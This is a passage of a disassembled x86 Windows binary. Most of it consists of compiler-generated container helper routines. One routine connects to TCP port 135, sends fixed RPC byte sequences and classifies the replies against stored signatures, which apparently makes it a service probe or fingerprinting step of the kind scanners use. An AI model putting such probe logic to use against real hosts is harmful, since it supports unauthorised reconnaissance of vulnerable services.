loc_421419: ; CODE XREF: sub_420E10+2Aj
; sub_420E10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420E10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4215D0 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4215FB
loc_4215E4: ; CODE XREF: sub_4215D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421602
inc eax
cmp eax, edx
jl short loc_4215E4
loc_4215FB: ; CODE XREF: sub_4215D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421602: ; CODE XREF: sub_4215D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4215D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421620: ; CODE XREF: ___:0040209Aj
mov eax, 2010h
call sub_436840
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42166D
dec eax
jz short loc_421647
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421647: ; CODE XREF: ___:00421638j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402004
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: ___:00421635j
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4217C9
cmp esi, 0FFFFFFFFh
jz loc_4217C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2B66h
nop
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40187F
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov ebp, dword_50FC8C
push 0
push 48h
push offset dword_443DC8
push esi
call ebp ; dword_50FC8C
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov edi, dword_50FC90
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi ; dword_50FC90
cmp eax, 0FFFFFFFFh
jz loc_4217C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4217C2
push 0
push 18h
push offset dword_443E3C
push esi
call ebp ; dword_50FC8C
cmp eax, 0FFFFFFFFh
jz loc_4217C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi ; dword_50FC90
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4217C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4217C2
push 10h
push offset dword_443E14
lea eax, [esp+24h]
push edi
push eax
call sub_401AEB
add esp, 10h
test al, al
jz short loc_421791
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: ___:0042176Ej
push 10h
push offset dword_443E28
lea edx, [esp+24h]
push edi
push edx
call sub_401AEB
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4217C2: ; CODE XREF: ___:004216DBj
; ___:004216F6j ...
push esi
nop
call near ptr 71AB9639h
loc_4217C9: ; CODE XREF: ___:0042167Ej
; ___:00421687j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421850: ; CODE XREF: ___:00401A00j
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421870 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
pop esi
pop ecx
retn 4
sub_421870 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4218B0 proc near ; CODE XREF: sub_4018D9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401901
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_4218B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218F0 proc near ; CODE XREF: sub_401816j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40196F
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401997
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401947
sub_4218F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421960 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40204F
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_421960 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4219A0 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_4219A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4219D0 proc near ; CODE XREF: sub_402167j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40196F
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4018FC
pop esi
pop ecx
retn 4
sub_4219D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A10 proc near ; CODE XREF: sub_401703j
push esi
mov esi, ecx
call sub_4019EC
mov eax, esi
pop esi
retn
sub_421A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421A30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40204F
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421A50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A80 proc near ; CODE XREF: sub_401802j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FFF
neg al
sbb eax, eax
inc eax
retn 4
sub_421A80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421AB0 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_421AB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013ED
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021B7
sub_421AF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B60 proc near ; CODE XREF: sub_40145Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40110E
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421B60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421BA0 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421BA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421BD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013ED
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BAE
pop esi
pop ecx
retn 4
sub_421BD0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C10 proc near ; CODE XREF: sub_401B40j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421C10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421C30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C50 proc near ; CODE XREF: sub_40182Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421C50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D48
neg al
sbb eax, eax
inc eax
retn 4
sub_421C80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421CB0 proc near ; CODE XREF: sub_4010E6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401ECE
mov edi, eax
push edi
call sub_401B1D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
push edi
mov ebx, eax
call sub_401B1D
push edi
mov [eax], ebx
call sub_401B1D
mov edi, [eax]
push edi
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E3D
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401D84
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_421CB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D50 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401CF3
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401901
push edi
mov ebx, eax
call sub_401CF3
push edi
mov [eax], ebx
call sub_401CF3
mov edi, [eax]
push edi
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017E9
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401EBF
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_421D50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421DF0 proc near ; CODE XREF: sub_401997j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jz short loc_421E4A
loc_421E08: ; CODE XREF: sub_421DF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020B8
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A1E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jnz short loc_421E08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421E4A: ; CODE XREF: sub_421DF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421DF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421E80 proc near ; CODE XREF: sub_401901j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401DF2
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_421E95
mov edi, esi
loc_421E95: ; CODE XREF: sub_421E80+11j
push esi
call sub_40204F
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_421EAA
mov edi, esi
loc_421EAA: ; CODE XREF: sub_421E80+26j
push esi
call sub_401CF3
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_421E80 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421ED0 proc near ; CODE XREF: sub_401947j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401546
sub_421ED0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_40204Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F10 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_421F10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F30 proc near ; CODE XREF: sub_4019ECj
mov eax, ecx
retn
sub_421F30 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F50 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401519
mov eax, esi
pop esi
retn 4
sub_421F50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F80 proc near ; CODE XREF: sub_401FFFj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_421F80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421FB0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018E8
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013DE
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_401D75
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_421FB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4220AA
loc_422068: ; CODE XREF: sub_422050+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019AB
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B7C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422068
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4220AA: ; CODE XREF: sub_422050+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422050 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4220E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020BD
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_4220F5
mov edi, esi
loc_4220F5: ; CODE XREF: sub_4220E0+11j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_42210A
mov edi, esi
loc_42210A: ; CODE XREF: sub_4220E0+26j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_4220E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422130 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018E3
sub_422130 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422150 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422170 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422170 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422190 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221B0 proc near ; CODE XREF: sub_401D75j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018ED
mov eax, esi
pop esi
retn 4
sub_4221B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221E0 proc near ; CODE XREF: sub_401D48j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4221E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422210 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A2D
add esp, 8
retn 8
sub_422210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422240 proc near ; CODE XREF: sub_401A1Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020B8
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40204F
push esi
mov ebx, eax
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401CF3
push esi
mov ebx, eax
call sub_40204F
mov eax, [eax]
push eax
call sub_401CF3
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_401631
push esi
mov ecx, edi
call sub_401947
sub_422240 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422300 proc near ; CODE XREF: sub_401CF3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422300 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422320 proc near ; CODE XREF: sub_401DF2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_422320 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422350 proc near ; CODE XREF: sub_401546j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422350 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422370 proc near ; CODE XREF: sub_4017E9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40201D
add esp, 8
retn 8
sub_422370 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223A0 proc near ; CODE XREF: sub_401519j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4223A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4223C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223E0 proc near ; CODE XREF: sub_4020B8j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4223E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422410 proc near ; CODE XREF: sub_401B7Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019AB
mov ecx, eax
call sub_4018E8
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E60
push esi
mov ecx, edi
call sub_4021B7
sub_422410 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4224D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224F0 proc near ; CODE XREF: sub_4020BDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_4224F0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422520 proc near ; CODE XREF: sub_4018E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422520 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422540 proc near ; CODE XREF: sub_4013DEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401ED3
add esp, 8
retn 8
sub_422540 endp
